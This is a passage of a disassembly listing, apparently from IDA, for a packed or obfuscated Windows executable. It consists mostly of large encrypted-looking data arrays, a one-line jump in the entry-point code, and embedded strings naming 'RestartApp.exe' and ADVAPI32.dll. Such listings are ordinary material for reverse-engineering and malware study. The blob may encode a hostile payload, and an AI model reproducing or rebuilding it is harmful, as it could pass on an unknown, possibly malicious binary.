		dd 1C8BD997h, 0CD431922h, 3126E01Dh, 0A59FAB05h, 5953A482h
		dd 95E982D0h, 6872C561h, 4A68524Ch, 1DC1488h, 93F0C4A7h
		dd 0E880ADCCh, 0C5010787h, 5331B6E0h, 30214203h, 48C0042h
		dd 0FB7B40D0h, 3BECD75h, 1A8A2112h, 3CE826D4h, 8807C807h
		dd 6C719A0Dh, 42C549D1h, 1287F868h, 0F0D8C097h,	0AC01590Fh
		dd 0BE085386h, 72EEC5E0h, 1C01D88h, 924D807Eh, 49D7B5E2h
		dd 0ECC21501h, 0CA3E6BFFh, 0B480403Ch, 17EAD247h, 1F0ED8BAh
		dd 5EFFC432h, 9B4A8CC1h, 7037B303h, 3E7ABC50h, 99260C11h
		dd 0C97D603Ch, 7B025B79h, 9E66A387h, 0F684648Fh, 0FF8B025Dh
		dd 0BF157DD4h, 8795F4C3h, 1C46B0F8h, 9B0432ACh,	6DECC512h
		dd 0E083D0A8h, 0FDD18508h, 0D772F480h, 5F4868C0h, 5B391C32h
		dd 81E80124h, 0E0FFDDA5h, 0CE097C51h, 0F126CDD2h, 54C70330h
		dd 0C3883B81h, 6F007209h, 49ED94AEh, 7CD77D88h,	119D01FBh
		dd 7C8D52F2h, 22E03344h, 1FB326D3h, 61390F58h, 9503E2C1h
		dd 3EC6D7Ch, 7BDC6ECBh,	1B8FD1FDh, 5224181h, 0E0B4FAE5h
		dd 0EA3E3F29h, 79C412DCh, 2F421C90h, 849D1D63h,	94B40062h
		dd 35D8AE5h, 0CE00D5B8h, 0C43A0A3Fh, 92285DCh, 8B9AE6C5h
		dd 0BB003C44h, 0EFFE9842h, 0E88DCB37h, 0AC360565h, 84CE5AE2h
		dd 41F900D0h, 21FA921Ch, 8D258814h, 2C7879BCh, 2FC1F305h
		dd 64B252F5h, 2700893Ah, 30939932h, 0A07DCCC3h,	7C2A1F0Ch
		dd 729879BAh, 0A8690022h, 64213E03h, 0D7164274h, 0F4204FA3h
		dd 9D68872Ch, 2F27BC90h, 8C222E09h, 8C489h, 7B618B60h
		dd 0A20A1E1Dh, 1BE9CF0Eh, 0F9400EDh, 7455E67Dh,	4558B856h
		dd 0E5EC4C1Eh, 1DA1741Fh, 0BD52BA01h, 30709D6Ch, 3CEE50C7h
		dd 48D3FA94h, 0A2167D25h, 0B7B48850h, 13694E84h, 951401DCh
		dd 0E28E2D2Ch, 0C51790E4h, 2C889FDDh, 646F03EAh, 0D14160E8h
		dd 0C692C580h, 3048E603h, 0F8F62AE2h, 0A0C879h,	0C41C3E52h
		dd 0CF4F5D47h, 5484175h, 64CD0A24h, 2C2840C2h, 517DC817h
		dd 186E3C30h, 25473BDh,	0F70A109h, 0F851A277h, 78001212h
		dd 0A6C02D74h, 0E73D0163h, 0C5BFC255h, 1C3346h,	0F8A63019h
		dd 3BAA57D4h, 0AB801B88h, 3184188Dh, 1F27192Fh,	48C0466Bh
		dd 91133FF5h, 0AA0C0924h, 0EDC07C9Ah, 5901E135h, 0EFCE3973h
		dd 2820FF40h, 5D1174C7h, 7681B43Dh, 5212143Eh, 5BE01820h
		dd 4E05E8CFh, 903BEDC4h, 83E69005h, 0F0EE3CC1h,	0EB0563F8h
		dd 4328413Ah, 0F8C22BA8h, 78036BF5h, 0A1E3ECA4h, 8D6FC17Ah
		dd 28907445h, 76AE1039h, 952278E4h, 0A6128499h,	4B0B8421h
		dd 5E005FB3h, 49F40A06h, 0E0889460h, 0B8EFDBA4h, 3E6E45F0h
		dd 0E109A020h, 82CF0935h, 0E8D86BDBh, 3C7477E4h, 41FEA505h
		dd 98CD49F8h, 363B60CEh, 617B7Ah, 1069ED02h, 70E5DC7Eh
		dd 0A7122D01h, 61878A20h, 3BCAFF60h, 0B824D98Dh, 0B26B440Ch
		dd 743A3E30h, 4005B5E6h, 196CAA55h, 5FB08980h, 0F070011Ah
		dd 0FEB66AC8h, 142D97h
		dd 0B3F4372Eh, 1945416h, 18AC1E3Ah, 669D511Fh, 25190068h
		dd 41782682h, 0E0FD38CCh, 54C01458h, 6FE5C595h,	0C1E85148h
		dd 0B839B0A2h, 206A23C1h, 5AB6B17Ch, 3E0EC00h, 0DB3A686Fh
		dd 735E0F6Eh, 8D04241Fh, 0ACCCC872h, 0E87ED005h, 0C8D252F4h
		dd 144F150h, 5FDBF0ECh,	0CCF8C0EFh, 47C17007h, 0CEE096D3h
		dd 1777C987h, 88F5095Bh, 950173D4h, 25F4A004h, 209296FCh
		dd 53C80088h, 98BA87A4h, 1A67720Bh, 15872E4h, 0C8F411Bh
		dd 0C8339E2Dh, 29007FBEh, 3AC4CA7Eh, 2DBF1365h,	0C892A4E4h
		dd 4E28E80h, 0E102C1A3h, 12A2163Dh, 49E4541Ah, 0B22D03DDh
		dd 0BBD29826h, 3D0D00F0h, 0CFCEE09Dh, 0B407DA9Bh, 0ECADB73Fh
		dd 0C62C1E52h, 0F61D0034h, 0BADF1231h, 2A12BE5Ch, 24E2C41Eh
		dd 0FC1F9F00h, 63854231h, 1D4B353h, 6CBE8616h, 5869D87Fh
		dd 74023C00h, 6B33520Eh, 9BD49A00h, 77E1C42Bh, 0A96C015Eh
		dd 7B64E757h, 4389C423h, 9D749800h, 3890CAB0h, 0BA50BCE4h
		dd 1FCF4D80h, 5361CCBCh, 50289C04h, 2387A6DDh, 0A2A33640h
		dd 3152640Dh, 8984889Ah, 0C43EFF79h, 0F0A700F9h, 0A5CB5AB8h
		dd 5C4D00B6h, 0B38D0F84h, 32521BC2h, 8F9D1484h,	4082006Ch
		dd 31516DBEh, 0FB170441h, 0C89A4983h, 0BA0F3AC8h, 83994CEEh
		dd 0E8A852B9h, 0B86259Eh, 9714228Ah, 0A547D410h, 8834AF00h
		dd 0A27973EDh, 482C5C94h, 21103700h, 1BDB498Fh,	898B3F30h
		dd 8842678Dh, 56026FEFh, 7DA28232h, 3A286089h, 499126EDh
		dd 14611A0h, 5D50FBC4h,	203EADB1h, 0CC6C638Ch, 0D34E9D00h
		dd 0B316E92Dh, 916D025Bh, 0E08D0DC8h, 0A1443074h, 3AD3E420h
		dd 64402C00h, 54291B47h, 6D3800BCh, 795BB601h, 6A004FD9h
		dd 0BD3D4D78h, 9B31F9h,	0C77F4258h, 34EF1239h, 6850A326h
		dd 74C26142h, 20044414h, 913B1E22h, 40A82EE4h, 87DD96Dh
		dd 38C9CC01h, 7CD51B19h, 5C7C170h, 9B613562h, 512804BDh
		dd 38E353FCh, 14A14A00h, 0B06CF0C4h, 792AE00h, 7E117967h
		dd 385200AFh, 71A91C39h, 0BF0B1289h, 0D9072DDCh, 0DD2014Ch
		dd 0E80C5AC6h, 3E128B4Dh, 0A900D9EAh, 19028C18h, 2F0502F7h
		dd 0C6619C52h, 0EB4EECC6h, 0EE852C41h, 0EDF4360Eh, 6F6A0055h
		dd 8DA9B334h, 332FDF2Dh, 12CC007h, 17189802h, 8C41D3Ah
		dd 1F920C04h, 0B50084B2h, 0D34D1651h, 5B073BE3h, 5D32C0E1h
		dd 0E910FA33h, 273B073Fh, 0F80640E0h, 100CABDh,	5832C5A0h
		dd 68A683B5h, 1274B007h, 5BE490D9h, 45004639h, 15A123E0h
		dd 0D5AEDCh, 0E5884E1Ch, 211BC432h, 7A018A7Ah, 41DA8926h
		dd 0C066391Eh, 94A4901h, 10A17CF0h, 0F47725h, 908C7AF3h
		dd 747835C7h, 1A41AD03h, 0C938E673h, 249E8F67h,	0C931875Dh
		dd 0C6639126h, 6D708BFEh, 71685858h, 47E0571h, 0EEC48Eh
		dd 0B0089983h, 79FCEF31h, 6897F609h, 3C0464AEh,	0E002C088h
		dd 4D4FCB75h, 10D77C61h, 74D53DB0h, 8F300167h, 0C71474C4h
		dd 9084DAE9h, 0C088ADBCh, 0CABAC895h, 2C0977B9h, 3AEC9FFAh
		dd 70E0027Ch, 0ADC0785Bh, 6C8140E2h, 0AF1D3BF3h, 0B46CC1B8h
		dd 80566110h, 0DE6FA227h, 9B7F016Ch, 80E2BA1Ch,	0D546C408h
		dd 764EAC8h, 3257847Dh,	0AC1F4514h, 567B8050h, 0A85005h
		dd 0E721F5B0h, 67C748AAh, 0BB74D603h, 0CABA01FEh, 808CF69Bh
		dd 282D897Ch, 72E86BA9h, 0FE081907h, 768031A5h,	310FEF62h
		dd 9328F5E8h, 0FB0887ABh, 0AE05D9Fh, 1624A073h,	0F2E234Fh
		dd 68A05AF0h, 7917E2C2h, 0EF38FB60h, 13CC49h, 7B6165F8h
		dd 0A6A9D66h, 178F3Eh, 0AC1BB340h, 27698BFh, 0BEF8EAE9h
		dd 0AFE09C60h, 1E483EC4h, 7679600Eh, 197302Eh, 0C8B9AA57h
		dd 0E0643365h, 0EE01A28Bh, 92CBBC5Bh, 0F3CDD222h, 6014D4E8h
		dd 66E18965h, 8E008DDDh, 57DABF64h, 3D307C1h, 0EFBD263Eh
		dd 0E90AFE0Bh, 60015571h, 59EEE400h, 90F60B08h,	0BD5A07E1h
		dd 0B001B68Fh, 0F3C6D13Bh, 27C139C0h, 754D0Eh, 0A5091E14h
		dd 181D9CB5h, 0B2C9300h, 6889DEFAh, 0D1F6607Eh,	1402B3CFh
		dd 4EF5A0Dh, 0C80249FFh, 792CA006h, 14B186F8h, 0CCAAD381h
		dd 966E3000h, 1F92D507h, 0EC0BDF05h, 0D422F709h, 0C86C20F0h
		dd 0DF7A95F6h, 1DD6E39h, 0EDF5C0B1h, 80DA149Fh,	5A1B3C92h
		dd 0B56B0099h, 1815BBD5h, 1119925Dh, 0F09859F2h, 7675EA10h
		dd 0AC0058DEh, 15F713Fh, 7B94A881h, 7697073Eh, 30D4AC9h
		dd 397DEBC6h, 95218D00h, 29381333h, 59FD000Fh, 3F3D6C04h
		dd 29C3F1C6h, 0C31EBE37h, 8511A832h, 240C9002h,	4A0091A3h
		dd 0DA720073h, 0AA38FFC6h, 8BAE7301h, 0A95F3A29h, 0C6E60h
		dd 63CF21DFh, 9113C1D1h, 0A339079h, 0D8B6B9E6h,	0B669FEAh
		dd 0BA611FDEh, 40ABB300h, 1D1E1328h, 7980B6F9h,	0AC12B277h
		dd 7C39C9EBh, 0C03B6C05h, 92BEAAE9h, 0E4030E01h, 0A6903431h
		dd 3CA3A180h, 53CAA5FDh, 29AD5100h, 93674ECBh, 7A200C5h
		dd 78704CA4h, 0D0C6803h, 617576EBh, 41ECA0A6h, 3D68C99Dh
		dd 94B68401h, 0F6F9ECACh, 12BD6301h, 39D40C72h,	0A166E8ECh
		dd 0F8488D4Ch, 0F328009Fh, 76B96BEFh, 6E0C9C2Dh, 21019048h
		dd 60E60079h, 2611C77Dh, 87F278BCh, 48A83D00h, 0FED032E2h
		dd 0C8F554C6h, 0DDD71E24h, 80C21D64h, 74928AA2h, 0B3082B4h
		dd 0C8A8B972h, 0A00203CEh, 0EE0D2B31h, 491F1900h, 0E19FA32Eh
		dd 0F2CE00DEh, 9AB3213Ch, 4B39C66Bh, 69EEB014h,	396D92h
		dd 2421E3C4h, 0EAD107FCh, 0AE31BE01h, 0E946962Fh, 0FC89EDDCh
		dd 0C590A130h, 766BD9D4h, 0CFACA0CDh, 0F3B900E9h, 5F8CBF52h
		dd 681888B8h, 0BBF9F178h, 1B310904h, 7D03019Ah,	88019C10h
		dd 98111EB7h, 7C20463Fh, 0F7EF26D2h, 33764004h,	0D30EEABDh
		dd 0B8C63041h, 983C19h,	84F2C69h, 5C22A8F2h, 6424A9E8h
		dd 97000CADh, 0EA69E434h, 9094A476h, 18F844A4h,	0B9005090h
		dd 66C167BAh, 5005D521h, 1B2D869h, 9F5EC658h, 31D2287Bh
		dd 13ABD518h, 93600061h, 20B45A7h, 7F288B34h, 0F1E28029h
		dd 0B0EF4F3Dh, 63C669FDh, 3E4E04Ah, 97A7BECFh, 911CD80Bh
		dd 6947B884h, 1650B632h, 7707ADEh, 760F7408h, 215C501Dh
		dd 0C40047ACh, 0E1C7226h, 1193FACEh, 1BA37768h,	0C45161ACh
		dd 14336080h, 0C811C090h, 1EB32740h, 117B60Ch, 0D51968h
		dd 9D0C28B0h, 0C8FE58ADh, 95D13003h, 150631Ah, 848E90E0h
		dd 80F47E65h, 3E0F7269h, 30877D91h, 0C8E1F2C6h,	0D9048070h
		dd 0CEF52C5h, 16EAA0C8h, 11302A4h, 547B2468h, 0FD20915Fh
		dd 0D1BC1863h, 57FBA591h, 0CB1ED028h, 0D5B02D97h, 0DCB16360h
		dd 0E8E25Bh, 2E64DBEDh,	3B9E031Eh, 0A30093F0h, 61A10E39h
		dd 1826F448h, 396701D5h, 0F700B3AAh, 125FFA2Dh,	0F11DFF3h
		dd 7B2A7E9Eh, 91CE37C3h, 262789E8h, 0C67F9300h,	492E4F4h
		dd 0D40A520Fh, 6FCF5F00h, 6DED4E44h, 51FE7A00h,	640A4C12h
		dd 0BF250B08h, 0C50CF416h, 4602C131h, 5AF90E80h, 0A834402Eh
		dd 44649827h, 936F3C68h, 0A34801F1h, 22300209h,	28260B31h
		dd 40053DB4h, 0EF5B83B2h, 9FBC2916h, 0B6DDD500h, 1FD9B91Fh
		dd 3B0DA19Dh, 5A769403h, 61008B01h, 0C8592EFCh,	0A054B535h
		dd 863A2E8h, 827965BAh,	0B1E00A8Ch, 1FB97346h, 419FE2CDh
		dd 65C4B31Dh, 0FA844342h, 15EC80BCh, 9713220Bh,	982028EAh
		dd 178F20BFh, 20C63A1Dh, 1AE08650h, 40007F6h, 0D2B8B229h
		dd 6B705A5h, 0CB976FB3h
		dd 9A02588Eh, 0BA689C5Bh, 0C004603Bh, 0E200033h, 1CBE3DA6h
		dd 32C0CF48h, 0C90C2B58h, 34AA0642h, 0C1A891B5h, 0A0DD5B00h
		dd 2FC01CF9h, 6C36002Ch, 631EF407h, 61027895h, 0A283C2C9h
		dd 0D46414h, 406CAE4Bh,	749B927Dh, 1D444848h, 0BA4F4E0Fh
		dd 5C0092B9h, 0E7B51426h, 0AC40FD2Ch, 0F990699Ch, 0BB7D7980h
		dd 0DEC27A2Dh, 2C5E900h, 8CA820ECh, 700948EFh, 8266BA87h
		dd 6861E05Eh, 1B20EE0Fh, 16A42272h, 1FA2164h, 91A9C244h
		dd 4112F018h, 0D2119C09h, 0A78810E1h, 0E6F80053h, 0C6FC783Fh
		dd 9098BA52h, 0C6EA12E3h, 5EBE0360h, 70841DD9h,	20F03CDBh
		dd 6A4CA6B8h, 90E8008h,	87B2849h, 896FAC4Dh, 0C9F98BDh
		dd 1CD5B0C8h, 435DA0B3h, 0AD91EEBBh, 0CA24F900h, 9F3C0F92h
		dd 0E16F3F23h, 8BE43880h, 0F27668C7h, 0F5AC29C3h, 1459018Fh
		dd 805BECF8h, 0AAE84003h, 63005A61h, 385279CDh,	178FDEh
		dd 9312B69Ch, 281904BAh, 90C2248h, 44E8EAEDh, 0EF503C08h
		dd 227CF628h, 94B0686Eh, 0BB6F4C1Fh, 15A7789h, 7922B330h
		dd 22C58830h, 52007E17h, 4CBA33DEh, 3A948D15h, 0AB1D0BB7h
		dd 0C2F14053h, 0DB6FEA48h, 7A1459C6h, 0EF200039h, 0A134FD1Dh
		dd 0C6013653h, 2435E5Ah, 0F042B721h, 72EA21F1h,	0E41BE6Bh
		dd 89450EF8h, 0C00C1001h, 69C80FDCh, 2081B837h,	80D904A2h
		dd 53623131h, 44E7E2h, 0F2A07147h, 0EA11BA3Bh, 6C0209FAh
		dd 9B870F58h, 2A106018h, 0EE7F2268h, 0F892D502h, 0E0E95086h
		dd 2898216Bh, 3AF7189Eh, 0CA4812D1h, 0E9D5A201h, 2946D2C9h
		dd 672CCF78h, 87800979h, 2C63D60Eh, 407C91B4h, 4E54C2DFh
		dd 97000372h, 71BED587h, 0B2B9874h, 70BCB7D2h, 5A912898h
		dd 0A0562200h, 51E180F8h, 71F700D1h, 9AEB29E0h,	142AE285h
		dd 0B827B07Ch, 57FEDAh,	2436B32Dh, 6D0099E9h, 7008B572h
		dd 9469DD9Bh, 19D24374h, 0E992D8D0h, 31C4B702h,	44F6AC28h
		dd 7E682474h, 63BA4148h, 7DC71C9h, 0B9420098h, 0B0982031h
		dd 88BF0128h, 0EFE8CD90h, 0F881056h, 9D2E3B2Fh,	0F2AC30F1h
		dd 0A30FA423h, 46A8EAB5h, 0DCB16420h, 0DB5D7083h, 35FDE817h
		dd 43AE0AEh, 0ADF64B0h,	0D00F40E1h, 8D0374h, 245A52C3h
		dd 6EEF7D18h, 47B1ED61h, 0DF0A43h, 385B4031h, 7EA9134Bh
		dd 3019A76h, 36BCC1F7h,	3820AA0Bh, 8D94009Bh, 4413F1DDh
		dd 0B3016959h, 0AEC16BAFh, 0A072E1D7h, 0E26E5500h, 56AA223Bh
		dd 547DF91Ch, 6C657201h, 6440E19Ah, 0DD291Eh, 35B8A096h
		dd 2EFBF070h, 8375A321h, 6CCB7B5Ch, 0DE9AAEE8h,	0FBB3D09h
		dd 8C4002Bh, 2C689EB8h,	443CAC73h, 3D8840EEh, 4ECAB05h
		dd 84F2B0EFh, 3CB8B4C3h, 2B7ACF1Eh, 1C6B9E00h, 9961A6ACh
		dd 5855822Ch, 0D861274Dh, 3020602Eh, 800D5Dh, 51E3ECFCh
		dd 0BBA1304h, 11F9F2C9h, 0EBD9C401h, 0A02D6Fh, 9CEA986Eh
		dd 0A4BC201Fh, 19F37430h, 20781B4Fh, 0A9006027h, 0B75E88h
		dd 72EBCD64h, 28875311h, 2C656825h, 74936874h, 0CBE90018h
		dd 0B9FC8DDBh, 0EA680BACh, 3B0C8679h, 3656A64h,	72F0FAE7h
		dd 5DF0B1C6h, 9F1DECE9h, 31300A26h, 317F0Eh, 0BA08B9ADh
		dd 192117AEh, 84A390FCh, 0A17F61E1h, 9D80DCB9h,	8D53199Fh
		dd 305500FEh, 74070FDCh, 9A38BC90h, 0C32C4816h,	907A09FAh
		dd 1693B384h, 5D9799h, 0CF9BE923h, 0E14C7333h, 472B86BCh
		dd 17FA0214h, 4E0D4827h, 0BD013C40h, 213DBA1Ch,	9C69E78Ah
		dd 381B2C02h, 0B00441D2h, 54054461h, 0AF188Ch, 0B7B1435Ch
		dd 775B594Ch, 82DB6CC9h, 0C18F752Dh, 2C40ED0h, 0AD6F0298h
		dd 0CC63EEE4h, 0F13C898h, 8FB8F901h, 5192E9E8h,	0C4ACC0CEh
		dd 23550041h, 2E393AA5h, 1628A444h, 0C60ECC1Ah,	4783B4h
		dd 26619D12h, 0B6750507h, 8C2CEAA0h, 72271F2Ch,	5B848013h
		dd 44902B76h, 83076C01h, 0F8AF0A49h, 68925FB0h,	0CC7262h
		dd 807DE5Eh, 0AC2E6E87h, 0F9C28EE6h, 0C40D0C16h, 234900D8h
		dd 264E8C84h, 9892FCF3h, 0C896A490h, 11FF044Eh,	0A00D9380h
		dd 97445882h, 187F080Ch, 0A758A5A0h, 6122C054h,	1FF6CA8h
		dd 20C1E4E7h, 0C36E34BAh, 0D90272A8h, 0A3B77413h, 8B589015h
		dd 7C1908A5h, 0C4261480h, 2E9B0E95h, 9284E7Eh, 0E4E80165h
		dd 0BE0758A5h, 4D88B9B7h, 3C5AD470h, 1B3B2C49h,	9EB407F4h
		dd 76D2208Ch, 826014EDh, 0F2CACD39h, 0C3430062h, 0F0F8BB75h
		dd 0A8126E26h, 489128EBh, 80720BEFh, 0A979EA1Bh, 95B844E3h
		dd 68B2E5F3h, 38B1E1FAh, 3C04BC00h, 5C138C3Ah, 0E900D31Fh
		dd 476DAADEh, 0A82ED753h, 0F911D044h, 15DC032Ch, 50600802h
		dd 0B021BA6Bh, 84C07000h, 42BF0918h, 80E0092h, 713C9DB2h
		dd 34989161h, 0F6953D05h, 0B4C04077h, 9E9CBCA1h, 0F37640B8h
		dd 45007028h, 0B9301C96h, 46D7FF7h, 0E1A23C38h,	0FF9440EAh
		dd 1DF93Eh, 0DCD95CAAh,	14FC5E7Eh, 6E914405h, 0EC81611Ah
		dd 0EFEC1D3Eh, 21730087h, 0CB4A159Ah, 0FA2E0B09h, 0FC817405h
		dd 66FC7B1h, 243B246Ch,	6490E425h, 0AC00A439h, 7C97F448h
		dd 79D9F2h, 451AC53Eh, 74771CC9h, 0E6036011h, 0A640070h
		dd 66B30618h, 0BE056E9Fh, 9A4F4604h, 3DEB9D81h,	44FC8C60h
		dd 0B5136B82h, 0D4C03702h, 305B72B1h, 34A09B06h, 0AE050E9Fh
		dd 0E68D1761h, 1C47D884h, 6EA29DC1h, 0C628982Bh, 13961AE4h
		dd 2045180Ch, 24C0BD9Dh, 0A6124723h, 0AB34005Fh, 9DFD6B8Dh
		dd 0C20E9C19h, 49687001h, 0D2423FFh, 17E113EFh,	235C409Bh
		dd 0C3C97537h, 0B209BCB0h, 8CB80687h, 62271034h, 8FEB8070h
		dd 33080029h, 12D7B3h, 0C7E51698h, 0F82617D0h, 0C054615Ch
		dd 2D393B3Fh, 705E00B0h, 229E0F29h, 0BC240973h,	0EB63A8E7h
		dd 921C00FAh, 3E352D83h, 591839FFh, 0E5E9F4C6h,	0ABE0313h
		dd 3686E68Ch, 7ADE3898h, 9C0D1B24h, 0C2A674Eh, 0DF25C0C0h
		dd 7CB20059h, 0D0FCB4C8h, 9E60D2EFh, 242A08B8h,	88A25490h
		dd 62650128h, 751EA712h, 608ACD74h, 21C02D6Fh, 0CC9563F5h
		dd 0DBE900B5h, 6CCABF62h, 0EA440A2Bh, 0A6D300DFh, 5EE11FCFh
		dd 83ECC51Eh, 3F02187Ch, 0E2129A2Dh, 647290h, 0FA5C6E36h
		dd 0A2A3752Bh, 5DCED01h, 0FEFB483h, 28EA7841h, 0E888DC3Ch
		dd 3C9C2D40h, 0D4CF04A9h, 821B8B47h, 98287B24h,	0BD7AEB60h
		dd 4AE70124h, 4606022Fh, 0D880FA3Dh, 261849CEh,	0C0D8055Ch
		dd 2AB2AFD8h, 2C7FEFh, 0E0AE4CC7h, 0A975E16Ah, 9CCC7309h
		dd 1C24C801h, 4F5D00DEh, 96383E23h, 0D00BBB6h, 0CF357FBFh
		dd 17054B1h, 0C2C56E53h, 0F80499E0h, 2501BAB4h,	0FAD51D5h
		dd 0EC20D3B2h, 14818B1h, 5EAE597Dh, 0F6C2460Eh,	40C360BBh
		dd 0F10E7Fh, 0EE2D63E7h, 0D1175B5Ch, 347B6E01h,	0AA7468A5h
		dd 0E811BC2Dh, 0B2041C8Ch, 6948A1A7h, 0E6CC4616h, 89C24810h
		dd 0AF0FB052h, 213A629h, 40BCA4C0h, 35091C60h, 5000F84Bh
		dd 0FB7973B6h, 2C789A77h, 0B544B41h, 28445BA2h,	0FF37EE03h
		dd 0B706BAA3h, 0E2FA20C0h, 8A820746h, 0D268042Fh, 0A04414E9h
		dd 0C014E73h, 8C72B9D9h, 75DCC3CAh, 16937516h, 14B4AF6Fh
		dd 0BD583824h, 0FAF05C74h, 0C6789D00h, 0F4EA126Dh, 6C9E2374h
		dd 43013101h, 34301928h, 0B7A0C05Bh, 32A7FC5Fh,	0BBBFAC17h
		dd 8072FC08h, 9A78DCE9h, 761568D1h, 8BA407EAh, 0A1466BBh
		dd 6999A51Ah, 12A0A8Ch,	3DE111ACh, 0DE33007Ah, 59C86A4Eh
		dd 3BD21FD1h, 90C6D75Ah
		dd 0F23ECDD8h, 2D225500h, 2E78E5B7h, 776830D2h,	63D5FB21h
		dd 0A9C0B950h, 0A2286B01h, 0EA713438h, 4442E5C5h, 3CE493h
		dd 0EFF4A8B1h, 0C45FD68Ch, 500096EEh, 0F0EB8F26h, 3FBBBDFEh
		dd 55BBA087h, 2B80FBBFh, 0ECF1177Dh, 3200E7D4h,	0B076F8C5h
		dd 713FE0Dh, 8B7391C1h,	0C0FBF7EAh, 307EC533h, 2CDA1100h
		dd 65BD2AF4h, 0F2AA7ABBh, 0EF990FF5h, 0A1E09F4Dh, 10B0A0D4h
		dd 136CC800h, 6A3B7325h, 0B550098h, 46DD8F40h, 353030EAh
		dd 36F8587Dh, 1AEC0072h, 0BF809962h, 961866A0h,	0D6217E35h
		dd 0E05700BEh, 0DDED322Fh, 0B1CEE41Dh, 0C2B1E0FAh, 990871h
		dd 0CB5663Eh, 37479620h, 29CCB4EEh, 887B7033h, 43385EA7h
		dd 8C6300E0h, 2BDCFB15h, 0F9240165h, 411B4008h,	60B88E17h
		dd 80338EA3h, 0AC4EDAC7h, 0A0F90101h, 1DE579D8h, 0CC6180E6h
		dd 8AD58274h, 48F23C73h, 0BA3D518Eh, 0AE8906C0h, 3530717Eh
		dd 0F1A08167h, 64F600BCh, 84BEEBF4h, 32FE30BBh,	556933Ah
		dd 0F3D4E424h, 7035BC46h, 168B0139h, 0FF29DDCBh, 8C63ED56h
		dd 892D1E19h, 6EB70061h, 0F6FBDF0Ch, 0EC03FC8Dh, 28F04DC6h
		dd 0F2258962h, 40D08EF6h, 500D037Fh, 68E90C5Fh,	0F771D5ADh
		dd 7288200h, 949F2ECEh,	0E2671203h, 0D5200F12h,	0C14B86C0h
		dd 9D15F6BBh, 0EB06148h, 8098DE56h, 7E786C75h, 5DDA003Ch
		dd 4DBC9AC3h, 4C78B626h, 31CD4830h, 10EEA6Bh, 20B4429Eh
		dd 0E8E3FDD0h, 7E4856E5h, 0CC678F0Ch, 30231CFh,	0ADD1A0CCh
		dd 217C1D1Ah, 51CB6200h, 0D71CA265h, 0BD9B3A37h, 0EA504470h
		dd 0D9DEE3FEh, 0E1396199h, 0B44D8h, 987E17DCh, 0CB90E365h
		dd 3B7A5507h, 4FA430A6h, 53FDC2EFh, 0ADFD5D60h,	3449E865h
		dd 994AD9C0h, 387B7F4Bh, 77800F4Fh, 2FD2B6CBh, 0F00637DAh
		dd 0E91D8224h, 1F5E0089h, 8443253Ch, 0EB14F698h, 88F0EDD6h
		dd 0C24807Ah, 0DCCE52A9h, 0CBDA6D07h, 38444196h, 0B88ED983h
		dd 3FF23F73h, 8C54AD67h, 95D80925h, 8C3317A4h, 7802CFB8h
		dd 2E504500h, 395DC0F5h, 941B2462h, 0E2115Ch, 0B69F0B33h
		dd 3525943h, 0D7202551h, 210A2EFDh, 0C4A03013h,	0BD00D011h
		dd 98BE1B7Dh, 0EA01B254h, 2F517FEh, 482232F1h, 0E40D0F7Bh
		dd 0CEC03AAAh, 0F7E1816Eh, 972F9800h, 0D4289496h, 867D00C8h
		dd 6721EFCBh, 6C000ED6h, 0DA2557FEh, 0C8835C4Dh, 0A1803AD0h
		dd 65B66C77h, 87C83E95h, 0B0526780h, 7AA32C01h,	5145BE00h
		dd 28DA0D7Eh, 39C1601Ch, 72547005h, 8331C23Ch, 35E5147h
		dd 609CD9ECh, 54B880F8h, 14C4D7h, 6FF331F0h, 0EB5D3D7Fh
		dd 0DCB01100h, 23685AC1h, 0E180F935h, 89881281h, 0DA269A92h
		dd 600EC727h, 78A080D8h, 280A71h, 0ED188E2Bh, 9F857330h
		dd 0AF0C40E0h, 71FFD8EAh, 0C1F47FD7h, 73BDFAA9h, 4A45F82Ch
		dd 2FBAF3Ch, 1FB7688Eh,	50CB60D7h, 2875124Dh, 7074031Eh
		dd 4900ECAEh, 643439F2h, 0BCA326h, 0CE6E45EDh, 58985F3Fh
		dd 9121A0Fh, 167D0069h,	14992C4Eh, 1CCFA5Dh, 0D8FEFFBFh
		dd 0
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_53B3A5:				; CODE XREF: start:loc_4E0265j
					; DATA XREF: start:loc_4E0086o
		jmp	loc_53E726
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		align 4
		dd 3 dup(0)
		dd 220E0000h, 14h, 0
		dd 10000000h, 0F65E0000h, 29650057h, 487005Ah, 5Ah, 54450000h
		dd 0F3ACh, 0Ch dup(0)
		dd 0FD010000h, 0FFFFh, 0
		dd 998D0000h, 0FFFFh, 0F4960000h, 69DD0056h, 9Fh, 0Ah dup(0)
		dd 259h, 8 dup(0)
		dd 103A0000h, 447Bh, 7 dup(0)
		dd 65520000h, 72617473h, 70704174h, 6578652Eh, 0
		dd 9C370000h, 9Fh, 4 dup(0)
		dd 0BEF60000h, 3E680053h, 0D077E8h, 30DF0000h, 0A9C5h
		dd 0Dh dup(0)
		dd 47330000h, 60057h, 23FA0000h, 94ACh,	2 dup(0)
		dd 3EB80000h, 39ACDBh, 2 dup(0)
		dd 69DD0000h, 9Fh, 0
		dd 0E00000h, 0
		dd 77E6h, 230000h, 0FFE00057h, 12h, 3 dup(0)
		dd 0FFB00000h, 0FFFF01FFh, 0FFFFh, 2890000h, 0B4EA005Bh
		dd 0FF4Eh, 3E3B0000h, 9Fh, 0
		dd 4CD20000h, 0
		dd 5D80000h, 77E8h, 5EEF0000h, 266FFh, 0C3DE0000h, 8CDCh
		dd 0A8D00000h, 0C005Ah,	240h, 4	dup(0)
		dd 0FFB00000h, 18Fh, 4 dup(0)
		dd 0FFFF0000h, 7FFFh, 3	dup(0)
		dd 3A430000h, 4E49575Ch, 53574F44h, 7379535Ch, 336D6574h
		dd 44415C32h, 49504156h, 642E3233h, 6C6Ch, 3Dh dup(0)
		dd 0B1680000h, 9Eh, 4 dup(0)
		dd 69DD0000h, 9Fh, 3 dup(0)
		dd 62E20000h, 58h, 2 dup(0)
		dd 595C0000h, 57h, 7 dup(0)
		dd 0E90000h, 4,	0
		dd 15C90000h, 0FFFFh, 6C1C0000h, 0F66130DEh, 1D35h, 3ED0000h
		dd 0A5E77FFEh, 0FFFF00A3h, 0FFFFh, 3040000h, 0B5E27FFEh
		dd 8A0Fh, 7 dup(0)
		dd 595C0000h, 57h, 6 dup(0)
		dd 0FE610000h, 1D03h, 10000h, 0
		dd 595C0000h, 20E40057h, 2B0D13h, 0AB0000h, 0FFEDh, 3 dup(0)
		dd 3E280000h, 0ACD3h, 66E80000h, 3 dup(0)
